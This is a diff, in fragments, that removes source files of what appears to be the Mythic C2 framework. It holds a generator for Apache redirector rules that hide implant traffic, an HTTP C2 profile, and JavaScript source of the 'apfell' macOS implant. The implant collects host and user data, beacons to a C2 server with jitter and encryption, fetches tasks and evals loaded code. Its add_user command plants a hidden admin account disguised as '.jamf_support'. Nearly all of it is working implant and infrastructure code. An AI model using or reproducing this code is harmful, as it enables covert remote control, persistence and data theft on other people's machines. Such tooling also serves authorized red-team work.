||||
# Get all profile URIs
|
||||
if "get_uri" in request['parameters']:
|
||||
uris.append("/" + request['parameters']["get_uri"])
|
||||
else:
|
||||
errors += "[!] No GET URI found\n"
|
||||
if "post_uri" in request['parameters']:
|
||||
uris.append("/" + request['parameters']["post_uri"])
|
||||
else:
|
||||
errors += "[!] No POST URI found\n"
|
||||
# Create UA in modrewrite syntax. No regex needed in UA string matching, but () characters must be escaped
|
||||
ua_string = ua.replace('(', '\(').replace(')', '\)')
|
||||
# Create URI string in modrewrite syntax. "*" are needed in regex to support GET and uri-append parameters on the URI
|
||||
uris_string = ".*|".join(uris) + ".*"
|
||||
try:
|
||||
interface = netifaces.gateways()['default'][netifaces.AF_INET][1]
|
||||
address = netifaces.ifaddresses(interface)[netifaces.AF_INET][0]['addr']
|
||||
c2_rewrite_template = """RewriteRule ^.*$ "{c2server}%{{REQUEST_URI}}" [P,L]"""
|
||||
c2_rewrite_output = []
|
||||
with open("../c2_code/config.json") as f:
|
||||
config = json.load(f)
|
||||
for inst in config["instances"]:
|
||||
c2_rewrite_output.append(c2_rewrite_template.format(
|
||||
c2server=f"https://{address}:{inst['port']}" if inst["use_ssl"] else f"http://{address}:{inst['port']}"
|
||||
))
|
||||
except Exception as e:
|
||||
errors += "[!] Failed to get C2 Profile container IP address. Replace 'c2server' in HTACCESS rules with correct IP\n"
|
||||
c2_rewrite_output = ["""RewriteRule ^.*$ "{c2server}%{{REQUEST_URI}}" [P,L]"""]
|
||||
htaccess_template = '''
|
||||
########################################
|
||||
## .htaccess START
|
||||
RewriteEngine On
|
||||
## C2 Traffic (HTTP-GET, HTTP-POST, HTTP-STAGER URIs)
|
||||
## Logic: If a requested URI AND the User-Agent matches, proxy the connection to the Teamserver
|
||||
## Consider adding other HTTP checks to fine tune the check. (HTTP Cookie, HTTP Referer, HTTP Query String, etc)
|
||||
## Refer to http://httpd.apache.org/docs/current/mod/mod_rewrite.html
|
||||
## Only allow GET and POST methods to pass to the C2 server
|
||||
RewriteCond %{{REQUEST_METHOD}} ^(GET|POST) [NC]
|
||||
## Profile URIs
|
||||
RewriteCond %{{REQUEST_URI}} ^({uris})$
|
||||
## Profile UserAgent
|
||||
RewriteCond %{{HTTP_USER_AGENT}} "{ua}"
|
||||
{c2servers}
|
||||
## Redirect all other traffic here
|
||||
RewriteRule ^.*$ {redirect}/? [L,R=302]
|
||||
## .htaccess END
|
||||
########################################
|
||||
'''
|
||||
htaccess = htaccess_template.format(uris=uris_string, ua=ua_string, c2servers="\n".join(c2_rewrite_output), redirect="redirect")
|
||||
output += "\tReplace 'redirect' with the http(s) address of where non-matching traffic should go, ex: https://redirect.com\n"
|
||||
output += f"\n{htaccess}"
|
||||
if errors != "":
|
||||
return {"status": "error", "error": errors}
|
||||
else:
|
||||
return {"status": "success", "message": output}
|
||||
@@ -1,138 +0,0 @@
|
||||
"""This file configures the C2 parameters to be used by a payload for communications.
|
||||
|
||||
Mythic will utilize the defined class inheriting C2Profile to identify the C2 profile
|
||||
and parameters that are presented to the operator in the payload creation UI. These
|
||||
parameters are added to the payload's PayloadType (builder.py) so they can be used
|
||||
during the build process.
|
||||
"""
|
||||
from mythic_c2_container.C2ProfileBase import *
|
||||
|
||||
class HTTP(C2Profile):
|
||||
name = "http"
|
||||
description = "Uses HTTP(S) connections with a simple query parameter or basic POST messages. For more configuration options use dynamicHTTP."
|
||||
author = "@its_a_feature_"
|
||||
is_p2p = False
|
||||
is_server_routed = False
|
||||
parameters = [
|
||||
C2ProfileParameter(
|
||||
name="callback_port",
|
||||
description="Callback Port",
|
||||
default_value="80",
|
||||
verifier_regex="^[0-9]+$",
|
||||
required=False,
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="killdate",
|
||||
description="Kill Date",
|
||||
parameter_type=ParameterType.Date,
|
||||
default_value=365,
|
||||
required=False,
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="encrypted_exchange_check",
|
||||
description="Perform Key Exchange",
|
||||
choices=["T", "F"],
|
||||
required=False,
|
||||
parameter_type=ParameterType.ChooseOne,
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="callback_jitter",
|
||||
description="Callback Jitter in percent",
|
||||
default_value="23",
|
||||
verifier_regex="^[0-9]+$",
|
||||
required=False,
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="headers",
|
||||
description="HTTP Headers",
|
||||
required=False,
|
||||
parameter_type=ParameterType.Dictionary,
|
||||
default_value=[
|
||||
{
|
||||
"name": "User-Agent",
|
||||
"max": 1,
|
||||
"default_value": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko",
|
||||
"default_show": True,
|
||||
},
|
||||
{
|
||||
"name": "Host",
|
||||
"max": 1,
|
||||
"default_value": "",
|
||||
"default_show": False,
|
||||
},
|
||||
{
|
||||
"name": "*",
|
||||
"max": -1,
|
||||
"default_value": "",
|
||||
"default_show": False
|
||||
}
|
||||
]
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="AESPSK",
|
||||
description="Crypto type",
|
||||
default_value="aes256_hmac",
|
||||
parameter_type=ParameterType.ChooseOne,
|
||||
choices=["aes256_hmac", "none"],
|
||||
required=False,
|
||||
crypto_type=True
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="callback_host",
|
||||
description="Callback Host",
|
||||
default_value="https://domain.com",
|
||||
verifier_regex="^(http|https):\/\/[a-zA-Z0-9]+",
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="get_uri",
|
||||
description="GET request URI (don't include leading /)",
|
||||
default_value="index",
|
||||
required=False,
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="post_uri",
|
||||
description="POST request URI (don't include leading /)",
|
||||
default_value="data",
|
||||
required=False,
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="query_path_name",
|
||||
description="Name of the query parameter for GET requests",
|
||||
default_value="q",
|
||||
required=False,
|
||||
verifier_regex="^[^\/]",
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="proxy_host",
|
||||
description="Proxy Host",
|
||||
default_value="",
|
||||
required=False,
|
||||
verifier_regex="^$|^(http|https):\/\/[a-zA-Z0-9]+",
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="proxy_port",
|
||||
description="Proxy Port",
|
||||
default_value="",
|
||||
verifier_regex="^$|^[0-9]+$",
|
||||
required=False,
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="proxy_user",
|
||||
description="Proxy Username",
|
||||
default_value="",
|
||||
required=False,
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="proxy_pass",
|
||||
description="Proxy Password",
|
||||
default_value="",
|
||||
required=False,
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="callback_interval",
|
||||
description="Callback Interval in seconds",
|
||||
default_value="10",
|
||||
verifier_regex="^[0-9]+$",
|
||||
required=False,
|
||||
),
|
||||
]
|
||||
Whitespace-only changes.
@@ -1,7 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
cd /Mythic/mythic
|
||||
|
||||
export PYTHONPATH=/Mythic:/Mythic/mythic
|
||||
|
||||
python3.8 mythic_service.py
|
||||
@@ -1,3 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from mythic_c2_container import mythic_service
|
||||
mythic_service.start_service_and_heartbeat(debug=False)
|
||||
@@ -1,8 +0,0 @@
|
||||
{
|
||||
"username": "mythic_user",
|
||||
"password": "mythic_password",
|
||||
"virtual_host": "mythic_vhost",
|
||||
"host": "127.0.0.1",
|
||||
"name": "hostname",
|
||||
"container_files_path": "/Mythic/"
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
FROM itsafeaturemythic/python38_payload:0.1.1
|
||||
@@ -1,74 +0,0 @@
|
||||
exports.add_user = function(task, command, params){
|
||||
try{
|
||||
// Add a user with dscl to the local machine
|
||||
let config = JSON.parse(params);
|
||||
let admin = true;
|
||||
let hidden = true;
|
||||
let username = ".jamf_support";
|
||||
let password = "P@55w0rd_Here";
|
||||
let realname = "Jamf Support User";
|
||||
let homedir = "/Users/";
|
||||
let uniqueid = 403;
|
||||
let primarygroupid = 80; //this is the admin group
|
||||
let usershell = "/bin/bash";
|
||||
let createprofile = false;
|
||||
let user = ""; //username of the user with sudo capability to do these commands
|
||||
let passwd = ""; //password of the user with sudo capability to do these commands
|
||||
if(config.hasOwnProperty("admin") && typeof config['admin'] == 'boolean'){ admin = config['admin']; }
|
||||
if(config.hasOwnProperty("hidden") && typeof config['hidden'] == 'boolean'){ hidden = config['hidden']; }
|
||||
if(config.hasOwnProperty("username") && config['username'] != ''){ username = config['username']; }
|
||||
if(config.hasOwnProperty("password") && config['password'] != ''){ password = config['password']; }
|
||||
if(config.hasOwnProperty("realname") && config['realname'] != ''){ realname = config['realname']; }
|
||||
if(config.hasOwnProperty("uniqueid") && config['uniqueid'] != -1){ uniqueid = config['uniqueid']; }
|
||||
else if(config.hasOwnProperty('uniqueid') && typeof config['uniqueid'] == 'string' && config['uniqueid'] != ''){ uniqueid = parseInt(config['uniqueid']); }
|
||||
if(config.hasOwnProperty("primarygroupid") && config['primarygroupid'] != -1){ primarygroupid = config['primarygroupid']; }
|
||||
else if(config.hasOwnProperty('primarygroupid') && typeof config['primarygroupid'] == 'string' && config['primarygroupid'] != ''){ primarygroupid = parseInt(config['primarygroupid']); }
|
||||
if(config.hasOwnProperty("usershell") && config['usershell'] != ''){ usershell = config['usershell']; }
|
||||
if(config.hasOwnProperty("createprofile") && typeof config['createprofile'] == "boolean"){ createprofile = config['createprofile']; }
|
||||
if(config.hasOwnProperty("homedir") && config['homedir'] != ''){ homedir = config['homedir']; }
|
||||
else{ homedir += username; }
|
||||
if(config.hasOwnProperty("user") && config['user'] != ''){ user = config['user']; }
|
||||
else{ return "User's name is required to do sudo commands"; }
|
||||
if(config.hasOwnProperty("passwd") && config['passwd'] != ''){ passwd = config['passwd']; }
|
||||
else{ return "User's password is required to do sudo commands"; }
|
||||
// now do our series of dscl commands to set up the account
|
||||
try{
|
||||
let cmd = "dscl . create /Users/" + username;
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
if(hidden){
|
||||
cmd = "dscl . create /Users/" + username + " IsHidden 1";
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
}
|
||||
cmd = "dscl . create /Users/" + username + " UniqueID " + uniqueid;
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
cmd = "dscl . create /Users/" + username + " PrimaryGroupID " + primarygroupid;
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
cmd = "dscl . create /Users/" + username + " NFSHomeDirectory \"" + homedir + "\"";
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
cmd = "dscl . create /Users/" + username + " RealName \"" + realname + "\"";
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
cmd = "dscl . create /Users/" + username + " UserShell " + usershell;
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
if(admin){
|
||||
cmd = "dseditgroup -o edit -a " + username + " -t user admin";
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
}
|
||||
cmd = "dscl . passwd /Users/" + username + " \"" + password + "\"";
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
if(createprofile){
|
||||
cmd = "mkdir \"" + homedir + "\"";
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
cmd = "cp -R \"/System/Library/User Template/English.lproj/\" \"" + homedir + "\"";
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
cmd = "chown -R " + username + ":staff \"" + homedir + "\"";
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
}
|
||||
return {"user_output": "Successfully ran the commands to create the user", "completed": true};
|
||||
}catch(error){
|
||||
return{"user_output": error.toString(), "status": "error", "completed": true};
|
||||
}
|
||||
}catch(error){
|
||||
return {"user_output": error.toString(), "status": "error", "completed": true};
|
||||
}
|
||||
|
||||
};
|
||||
@@ -1,194 +0,0 @@
|
||||
// Created by Cody Thomas - @its_a_feature_
|
||||
ObjC.import('Cocoa');
|
||||
ObjC.import('Foundation'); //there by default I think, but safe to include anyway
|
||||
ObjC.import('stdlib');
|
||||
ObjC.bindFunction('CFMakeCollectable', ['id', ['void *'] ]);
|
||||
var currentApp = Application.currentApplication();
|
||||
currentApp.includeStandardAdditions = true;
|
||||
//--------------IMPLANT INFORMATION-----------------------------------
|
||||
class agent{
|
||||
constructor(){
|
||||
this.procInfo = $.NSProcessInfo.processInfo;
|
||||
this.hostInfo = $.NSHost.currentHost;
|
||||
this.id = "";
|
||||
this.user = ObjC.deepUnwrap(this.procInfo.userName);
|
||||
this.fullName = ObjC.deepUnwrap(this.procInfo.fullUserName);
|
||||
//every element in the array needs to be unwrapped
|
||||
this.ip = ObjC.deepUnwrap(this.hostInfo.addresses); //probably just need [0]
|
||||
this.pid = this.procInfo.processIdentifier;
|
||||
//every element in the array needs to be unwrapped
|
||||
this.host = ObjC.deepUnwrap(this.hostInfo.names); //probably just need [0]
|
||||
//this is a dictionary, but every 'value' needs to be unwrapped
|
||||
this.environment = ObjC.deepUnwrap(this.procInfo.environment);
|
||||
this.uptime = this.procInfo.systemUptime;
|
||||
//every element in the array needs to be unwrapped
|
||||
this.args = ObjC.deepUnwrap(this.procInfo.arguments);
|
||||
this.osVersion = this.procInfo.operatingSystemVersionString.js;
|
||||
this.uuid = "UUID_HERE";
|
||||
}
|
||||
}
|
||||
var apfell = new agent();
|
||||
//--------------Base C2 INFORMATION----------------------------------------
|
||||
class baseC2{
|
||||
//To create your own C2, extend this class and implement the required functions
|
||||
//The main code depends on the mechanism being C2 with these functions.
|
||||
// the implementation of the functions doesn't matter though
|
||||
// You're welcome to add additional functions as well, but this is the minimum
|
||||
constructor(interval, baseurl){
|
||||
this.interval = interval; //seconds between callbacks
|
||||
this.baseurl = baseurl; //where to reach out to
|
||||
this.commands = [];
|
||||
}
|
||||
checkin(){
|
||||
//check in with c2 server
|
||||
}
|
||||
getTasking(){
|
||||
//reach out to wherever to get tasking
|
||||
}
|
||||
getConfig(){
|
||||
//gets the current configuration for tasking
|
||||
}
|
||||
postResponse(task, output){
|
||||
//output a response to a task
|
||||
}
|
||||
setConfig(params){
|
||||
//updates the current configuration for how to get tasking
|
||||
}
|
||||
download(task, params){
|
||||
//gets a file from the apfell server in some way
|
||||
}
|
||||
upload(task, params){
|
||||
//uploads a file in some way to the teamserver
|
||||
}
|
||||
}
|
||||
C2PROFILE_HERE
|
||||
//-------------SHARED COMMAND CODE ------------------------
|
||||
does_file_exist = function(strPath){
|
||||
var error = $();
|
||||
return $.NSFileManager.defaultManager.attributesOfItemAtPathError($(strPath).stringByStandardizingPath, error), error.code === undefined;
|
||||
};
|
||||
convert_to_nsdata = function(strData){
|
||||
// helper function to convert UTF8 strings to NSData objects
|
||||
var tmpString = $.NSString.alloc.initWithCStringEncoding(strData, $.NSUnicodeStringEncoding);
|
||||
return tmpString.dataUsingEncoding($.NSUTF16StringEncoding);
|
||||
};
|
||||
write_data_to_file = function(data, file_path){
|
||||
try{
|
||||
//var open_file = currentApp.openForAccess(Path(file_path), {writePermission: true});
|
||||
//currentApp.setEof(open_file, { to: 0 }); //clear the current file
|
||||
//currentApp.write(data, { to: open_file, startingAt: currentApp.getEof(open_file) });
|
||||
//currentApp.closeAccess(open_file);
|
||||
if(typeof data == "string"){
|
||||
data = convert_to_nsdata(data);
|
||||
}
|
||||
if (data.writeToFileAtomically($(file_path), true)){
|
||||
return "file written";
|
||||
}
|
||||
else{
|
||||
return "failed to write file";
|
||||
}
|
||||
}
|
||||
catch(error){
|
||||
return "failed to write to file: " + error.toString();
|
||||
}
|
||||
};
|
||||
default_load = function(contents){
|
||||
var module = {exports: {}};
|
||||
var exports = module.exports;
|
||||
if(typeof contents == "string"){
|
||||
eval(contents);
|
||||
}
|
||||
else{
|
||||
eval(contents.js);
|
||||
}
|
||||
return module.exports;
|
||||
};
|
||||
base64_decode = function(data){
|
||||
if(typeof data == "string"){
|
||||
var ns_data = $.NSData.alloc.initWithBase64Encoding($(data));
|
||||
}
|
||||
else{
|
||||
var ns_data = data;
|
||||
}
|
||||
var decoded_data = $.NSString.alloc.initWithDataEncoding(ns_data, $.NSUTF8StringEncoding).js;
|
||||
return decoded_data;
|
||||
};
|
||||
base64_encode = function(data){
|
||||
if(typeof data == "string"){
|
||||
var ns_data = convert_to_nsdata(data);
|
||||
}
|
||||
else{
|
||||
var ns_data = data;
|
||||
}
|
||||
var encoded = ns_data.base64EncodedStringWithOptions(0).js;
|
||||
return encoded;
|
||||
};
|
||||
var exports = {}; // get stuff ready for initial command listing
|
||||
COMMANDS_HERE
|
||||
//console.log("about to load commands");
|
||||
var commands_dict = exports;
|
||||
var jsimport = "";
|
||||
|
||||
//-------------GET IP AND CHECKIN ----------------------------------
|
||||
if( $.NSDate.date.compare(C2.kill_date) === $.NSOrderedDescending ){
|
||||
$.NSApplication.sharedApplication.terminate(this);
|
||||
}
|
||||
let ip_found = false;
|
||||
C2.commands = Object.keys(commands_dict);
|
||||
let domain = "";
|
||||
if(does_file_exist("/etc/krb5.conf")){
|
||||
let contents = $.NSString.stringWithContentsOfFileEncodingError("/etc/krb5.conf", $.NSUTF8StringEncoding, $.nil).js;
|
||||
contents = contents.split("\n");
|
||||
for(let j = 0; j < contents.length; j++){
|
||||
if(contents[j].includes("default_realm")){
|
||||
domain = contents[j].split("=")[1].trim();
|
||||
}
|
||||
}
|
||||
}
|
||||
for(let i=0; i < apfell.ip.length; i++){
|
||||
let ip = apfell.ip[i];
|
||||
if (ip.includes(".") && ip !== "127.0.0.1"){ // the includes(".") is to make sure we're looking at IPv4
|
||||
C2.checkin(ip,apfell.pid,apfell.user,ObjC.unwrap(apfell.procInfo.hostName),apfell.osVersion, "x64", domain);
|
||||
ip_found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(!ip_found){
|
||||
C2.checkin("127.0.0.1",apfell.pid,apfell.user,ObjC.unwrap(apfell.procInfo.hostName),apfell.osVersion, "x64", domain);
|
||||
}
|
||||
//---------------------------MAIN LOOP ----------------------------------------
|
||||
function sleepWakeUp(){
|
||||
while(true){
|
||||
$.NSThread.sleepForTimeInterval(C2.gen_sleep_time());
|
||||
let output = "";
|
||||
let task = C2.getTasking();
|
||||
//console.log(JSON.stringify(task));
|
||||
let command = "";
|
||||
try{
|
||||
//console.log(JSON.stringify(task));
|
||||
if(task.length === 0){
|
||||
continue;
|
||||
}
|
||||
task = task[0];
|
||||
//console.log(JSON.stringify(task));
|
||||
command = task["command"];
|
||||
try{
|
||||
output = commands_dict[command](task, command, task['parameters']);
|
||||
}
|
||||
catch(error){
|
||||
if(error.toString().includes("commands_dict[command] is not a function")){
|
||||
output ={"user_output": "Unknown command: " + command, "status": "error", "completed": true};
|
||||
}
|
||||
else{
|
||||
output = {"user_output": error.toString(), "status": "error", "completed": true};
|
||||
}
|
||||
}
|
||||
C2.postResponse(task, output);
|
||||
}
|
||||
catch(error){
|
||||
C2.postResponse(task, {"user_output": error.toString(), "status": "error", "completed": true});
|
||||
}
|
||||
//task["command"] = "none"; //reset just in case something goes weird
|
||||
}
|
||||
}
|
||||
sleepWakeUp();
|
||||
@@ -1,532 +0,0 @@
|
||||
//-------------RESTFUL C2 mechanisms ---------------------------------
|
||||
class customC2 extends baseC2{
|
||||
|
||||
constructor(interval, baseurl){
|
||||
super(interval, baseurl);
|
||||
this.commands = [];
|
||||
this.c2_config = raw_c2_config;
|
||||
this.get_messages = this.c2_config['GET']['AgentMessage'];
|
||||
this.post_messages = this.c2_config['POST']['AgentMessage'];
|
||||
this.interval = this.c2_config['interval'];
|
||||
this.chunk_size = this.c2_config['chunk_size'];
|
||||
this.jitter = this.c2_config['jitter'];
|
||||
this.aes_psk = "AESPSK"; // base64 encoded key
|
||||
if(this.aes_psk !== ""){
|
||||
this.parameters = $.CFDictionaryCreateMutable($.kCFAllocatorDefault, 0, $.kCFTypeDictionaryKeyCallBacks, $.kCFTypeDictionaryValueCallBacks);
|
||||
$.CFDictionarySetValue(this.parameters, $.kSecAttrKeyType, $.kSecAttrKeyTypeAES);
|
||||
$.CFDictionarySetValue(this.parameters, $.kSecAttrKeySizeInBits, $.kSecAES256);
|
||||
$.CFDictionarySetValue(this.parameters, $.kSecAttrKeyClass, $.kSecAttrKeyClassSymmetric);
|
||||
$.CFDictionarySetValue(this.parameters, $.kSecClass, $.kSecClassKey);
|
||||
this.raw_key = $.NSData.alloc.initWithBase64Encoding(this.aes_psk);
|
||||
let err = Ref();
|
||||
this.cryptokey = $.SecKeyCreateFromData(this.parameters, this.raw_key, err);
|
||||
}
|
||||
this.using_key_exchange = this.c2_config['key_exchange'];
|
||||
this.exchanging_keys = this.using_key_exchange;
|
||||
this.dateFormatter = $.NSDateFormatter.alloc.init;
|
||||
this.dateFormatter.setDateFormat("yyyy-MM-dd");
|
||||
if(this.c2_config['kill_date'] !== undefined && this.c2_config['kill_date'] !== ""){
|
||||
this.kill_date = this.dateFormatter.dateFromString(this.c2_config['kill_date']);
|
||||
}else{
|
||||
this.kill_date = $.NSDate.distantFuture;
|
||||
}
|
||||
}
|
||||
get_random_element(x){
|
||||
return x[Math.floor(Math.random() * x.length)];
|
||||
}
|
||||
encrypt_message(uid, data){
|
||||
// takes in the string we're about to send, encrypts it, and returns a new string
|
||||
let err = Ref();
|
||||
let encrypt = $.SecEncryptTransformCreate(this.cryptokey,err);
|
||||
let b = $.SecTransformSetAttribute(encrypt, $("SecPaddingKey"), $("SecPaddingPKCS7Key"), err);
|
||||
b= $.SecTransformSetAttribute(encrypt, $("SecEncryptionMode"), $("SecModeCBCKey"), err);
|
||||
|
||||
//generate a random IV to use
|
||||
let IV = $.NSMutableData.dataWithLength(16);
|
||||
$.SecRandomCopyBytes($.kSecRandomDefault, 16, IV.bytes);
|
||||
b = $.SecTransformSetAttribute(encrypt, $("SecIVKey"), IV, err);
|
||||
// set our data to be encrypted
|
||||
let nsdata = $(data).dataUsingEncoding($.NSUTF8StringEncoding);
|
||||
b=$.SecTransformSetAttribute(encrypt, $.kSecTransformInputAttributeName, nsdata, err);
|
||||
//$.CFShow(err[0]);
|
||||
let encryptedData = $.SecTransformExecute(encrypt, err);
|
||||
// now we need to prepend the IV to the encrypted data before we base64 encode and return it
|
||||
//generate the hmac
|
||||
let hmac_transform = $.SecDigestTransformCreate($("HMAC-SHA2 Digest Family"), 256, err);
|
||||
let hmac_input = $.NSMutableData.dataWithLength(0);
|
||||
hmac_input.appendData(IV);
|
||||
hmac_input.appendData(encryptedData);
|
||||
b=$.SecTransformSetAttribute(hmac_transform, $.kSecTransformInputAttributeName, hmac_input, err);
|
||||
b=$.SecTransformSetAttribute(hmac_transform, $.kSecDigestHMACKeyAttribute, $.NSData.alloc.initWithBase64Encoding(this.aes_psk), err);
|
||||
let hmac_data = $.SecTransformExecute(hmac_transform, err);
|
||||
|
||||
let final_message = $.NSMutableData.dataWithLength(0);
|
||||
final_message.appendData( $(uid).dataUsingEncoding($.NSUTF8StringEncoding) );
|
||||
final_message.appendData(IV);
|
||||
final_message.appendData(encryptedData);
|
||||
final_message.appendData(hmac_data);
|
||||
return final_message.base64EncodedStringWithOptions(0);
|
||||
}
|
||||
decrypt_message(nsdata){
|
||||
//takes in a base64 encoded string to be decrypted and returned
|
||||
//console.log("called decrypt");
|
||||
let err = Ref();
|
||||
let decrypt = $.SecDecryptTransformCreate(this.cryptokey, err);
|
||||
$.SecTransformSetAttribute(decrypt, $("SecPaddingKey"), $("SecPaddingPKCS7Key"), err);
|
||||
$.SecTransformSetAttribute(decrypt, $("SecEncryptionMode"), $("SecModeCBCKey"), err);
|
||||
//console.log("making ranges");
|
||||
//need to extract out the first 16 bytes as the IV and the rest is the message to decrypt
|
||||
let iv_range = $.NSMakeRange(0, 16);
|
||||
let message_range = $.NSMakeRange(16, nsdata.length - 48); // 16 for IV 32 for hmac
|
||||
let hmac_range = $.NSMakeRange(nsdata.length - 32, 32);
|
||||
let hmac_data_range = $.NSMakeRange(0, nsdata.length - 32); // hmac includes IV + ciphertext
|
||||
//console.log("carving out iv");
|
||||
let iv = nsdata.subdataWithRange(iv_range);
|
||||
$.SecTransformSetAttribute(decrypt, $("SecIVKey"), iv, err);
|
||||
let message = nsdata.subdataWithRange(message_range);
|
||||
$.SecTransformSetAttribute(decrypt, $("INPUT"), message, err);
|
||||
// create an hmac and verify it matches
|
||||
let message_hmac = nsdata.subdataWithRange(hmac_range);
|
||||
let hmac_transform = $.SecDigestTransformCreate($("HMAC-SHA2 Digest Family"), 256, err);
|
||||
$.SecTransformSetAttribute(hmac_transform, $.kSecTransformInputAttributeName, nsdata.subdataWithRange(hmac_data_range), err);
|
||||
$.SecTransformSetAttribute(hmac_transform, $.kSecDigestHMACKeyAttribute, $.NSData.alloc.initWithBase64Encoding(this.aes_psk), err);
|
||||
let hmac_data = $.SecTransformExecute(hmac_transform, err);
|
||||
if(hmac_data.isEqualToData(message_hmac)){
|
||||
let decryptedData = $.SecTransformExecute(decrypt, Ref());
|
||||
//console.log("making a string from the message");
|
||||
let decrypted_message = $.NSString.alloc.initWithDataEncoding(decryptedData, $.NSUTF8StringEncoding);
|
||||
//console.log(decrypted_message.js);
|
||||
return decrypted_message;
|
||||
}
|
||||
else{
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
negotiate_key(){
|
||||
// Generate a public/private key pair
|
||||
let parameters = $({"type": $("42"), "bsiz": 4096, "perm": false});
|
||||
let err = Ref();
|
||||
let privatekey = $.SecKeyCreateRandomKey(parameters, err);
|
||||
//console.log("generated new key");
|
||||
let publickey = $.SecKeyCopyPublicKey(privatekey);
|
||||
let exported_public = $.SecKeyCopyExternalRepresentation(publickey, err);
|
||||
//$.CFShow($.CFMakeCollectable(err[0]));
|
||||
try{
|
||||
//this is the catalina case
|
||||
let b64_exported_public = $.CFMakeCollectable(exported_public);
|
||||
b64_exported_public = b64_exported_public.base64EncodedStringWithOptions(0).js; // get a base64 encoded string version
|
||||
exported_public = b64_exported_public;
|
||||
}catch(error){
|
||||
//this is the mojave and high sierra case
|
||||
exported_public = exported_public.base64EncodedStringWithOptions(0).js;
|
||||
}
|
||||
let s = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
|
||||
let session_key = Array(20).join().split(',').map(function() { return s.charAt(Math.floor(Math.random() * s.length)); }).join('');
|
||||
let initial_message = {"session_id": session_key, "pub_key": exported_public, "action": "staging_rsa"};
|
||||
// Encrypt our initial message with sessionID and Public key with the initial AES key
|
||||
while(true){
|
||||
try{
|
||||
//let req = this.create_message(this.get_random_element(this.post_messages), initial_message, apfell.uuid);
|
||||
//let stage1 = this.make_request(req);
|
||||
let stage1 = this.make_request("POST", apfell.uuid, initial_message);
|
||||
let enc_key = $.NSData.alloc.initWithBase64Encoding(stage1['session_key']);
|
||||
let dec_key = $.SecKeyCreateDecryptedData(privatekey, $.kSecKeyAlgorithmRSAEncryptionOAEPSHA1, enc_key, err);
|
||||
// Adjust our global key information with the newly adjusted session key
|
||||
try{
|
||||
this.aes_psk = dec_key.base64EncodedStringWithOptions(0).js; // base64 encoded key
|
||||
}catch(error){
|
||||
let dec_key_collectable = $.CFMakeCollectable(dec_key);
|
||||
dec_key_collectable = dec_key_collectable.base64EncodedStringWithOptions(0).js;
|
||||
this.aes_psk = dec_key_collectable;
|
||||
}
|
||||
//console.log(JSON.stringify(json_response));
|
||||
this.parameters = $({"type": $.kSecAttrKeyTypeAES});
|
||||
this.raw_key = $.NSData.alloc.initWithBase64Encoding(this.aes_psk);
|
||||
this.cryptokey = $.SecKeyCreateFromData(this.parameters, this.raw_key, Ref());
|
||||
this.exchanging_keys = false;
|
||||
return stage1['uuid'];
|
||||
}catch(error){
|
||||
//console.log("error in negotiate_key: " + error.toString());
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails
|
||||
}
|
||||
}
|
||||
}
|
||||
gen_sleep_time(){
|
||||
//generate a time that's this.interval += (this.interval * 1/this.jitter)
|
||||
let plus_min = Math.round(Math.random());
|
||||
if(plus_min === 1){
|
||||
return this.interval + (this.interval * (Math.round(Math.random()*this.jitter)/100));
|
||||
}else{
|
||||
return this.interval - (this.interval * (Math.round(Math.random()*this.jitter)/100));
|
||||
}
|
||||
}
|
||||
prepend(){
|
||||
return arguments[1] + arguments[0];
|
||||
}
|
||||
r_prepend(){
|
||||
return arguments[0].slice(String(arguments[1]).length);
|
||||
}
|
||||
append(){
|
||||
return arguments[0] + arguments[1];
|
||||
}
|
||||
r_append(){
|
||||
return arguments[0].slice(0, -1 * String(arguments[1]).length);
|
||||
}
|
||||
b64(){
|
||||
return base64_encode(String(arguments[0]));
|
||||
}
|
||||
r_b64(){
|
||||
return base64_decode(String(arguments[0]));
|
||||
}
|
||||
random_mixed(){
|
||||
let m = [...Array(Number(arguments[1]))].map(i=>(~~(Math.random()*36)).toString(36)).join('');
|
||||
return arguments[0] + m;
|
||||
}
|
||||
r_random_mixed(){
|
||||
return arguments[0].slice(0, -1 * Number(arguments[1]));
|
||||
}
|
||||
random_number(){
|
||||
let m = [...Array(Number(arguments[1]))].map(i=>(~~(Math.random()*10)).toString(10)).join('');
|
||||
return arguments[0] + m;
|
||||
}
|
||||
